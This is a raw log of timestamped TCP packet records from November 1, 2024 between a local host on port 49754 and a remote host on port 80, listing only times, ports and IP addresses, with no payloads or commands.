Nov 1, 2024 13:42:15.603363037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.603377104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.603394985 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.603404999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.603426933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.725722075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725747108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725759029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725786924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.725816965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.725876093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.725881100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725893021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725903988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.725919962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.725948095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726191044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726202965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726214886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726241112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726246119 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726278067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726300955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726608992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726660967 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726702929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726715088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726751089 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726772070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726784945 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726797104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.726820946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.726847887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.727355957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.727365971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.727408886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849405050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849426985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849440098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849455118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849467993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849474907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849479914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849488020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849519968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849579096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849621058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849626064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849637032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.849709988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.849945068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850001097 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.850006104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850019932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850030899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850066900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.850078106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.850091934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850215912 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.850476027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850495100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850506067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.850522041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.850543022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.894159079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.894182920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.894229889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.894242048 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.972632885 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972656965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972670078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972683907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972695112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972719908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.972737074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.972824097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972862005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.972882986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972894907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.972939014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973103046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973159075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973176003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973217010 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973241091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973257065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973283052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973310947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973737001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973757029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973767996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973783970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973800898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973829985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973844051 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:15.973871946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:15.973895073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.057971954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.057985067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.058043003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096167088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096180916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096239090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096396923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096419096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096431017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096441984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096457958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096470118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096481085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096493959 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096532106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096559048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096601009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096676111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096688032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096700907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.096718073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.096743107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.097172976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.097192049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.097222090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.097234964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.097248077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.097289085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.097296953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.097486019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.139614105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.139626026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.139636040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:16.139667988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:16.139693022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210278988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210294008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210309029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210324049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210351944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210351944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210370064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210386038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210501909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210525036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210541010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210556984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210571051 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210598946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210604906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210616112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210628986 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210633993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210642099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210659027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210671902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210671902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210690975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210695028 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210710049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210724115 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210733891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210741997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210755110 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210758924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210776091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210800886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210931063 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210974932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.210978031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.210994959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211019039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211030006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211082935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211106062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211122990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211128950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211139917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211144924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211155891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211164951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211177111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211194038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211195946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211210966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211227894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211234093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211244106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211251974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211261034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211268902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211287022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211297035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211304903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211323023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211339951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211339951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211357117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211360931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211374044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211380005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211394072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211417913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211443901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211460114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211474895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211483955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211489916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211498976 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211515903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211530924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211533070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211579084 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.211577892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.211621046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215425014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215441942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215470076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215487003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215490103 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215563059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215586901 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215769053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215785027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215806007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215816975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215847015 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215867043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215882063 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215898037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215908051 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215914965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215930939 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.215934038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215953112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.215976000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.216778040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216794014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216810942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216825962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216830969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.216841936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216851950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.216859102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216875076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216877937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.216893911 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.216914892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.216917038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217638969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217690945 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217725039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217740059 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217762947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217777967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217782021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217793941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217798948 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217811108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217822075 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217828035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.217844009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217850924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.217870951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218682051 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218704939 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218722105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218739033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218748093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218755007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218771935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218777895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218791008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218802929 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218817949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218832016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.218844891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.218885899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.219605923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219621897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219645023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219660997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219669104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.219677925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219690084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.219696045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219713926 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219717026 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.219729900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.219738007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.219763994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.220535994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220670938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220685959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220701933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220716953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220724106 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.220732927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220740080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.220757008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.220781088 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.220782995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220798969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.220839977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221605062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221626997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221642971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221649885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221658945 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221668959 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221678972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221682072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221695900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221698999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221713066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221715927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221731901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.221736908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221745014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.221771002 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.222474098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222489119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222506046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222552061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.222565889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.222632885 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222649097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222665071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222681046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222696066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.222697020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.222718000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.222737074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223448038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223495960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223509073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223524094 CET	80	49754	95.215.207.176	192.168.2.4
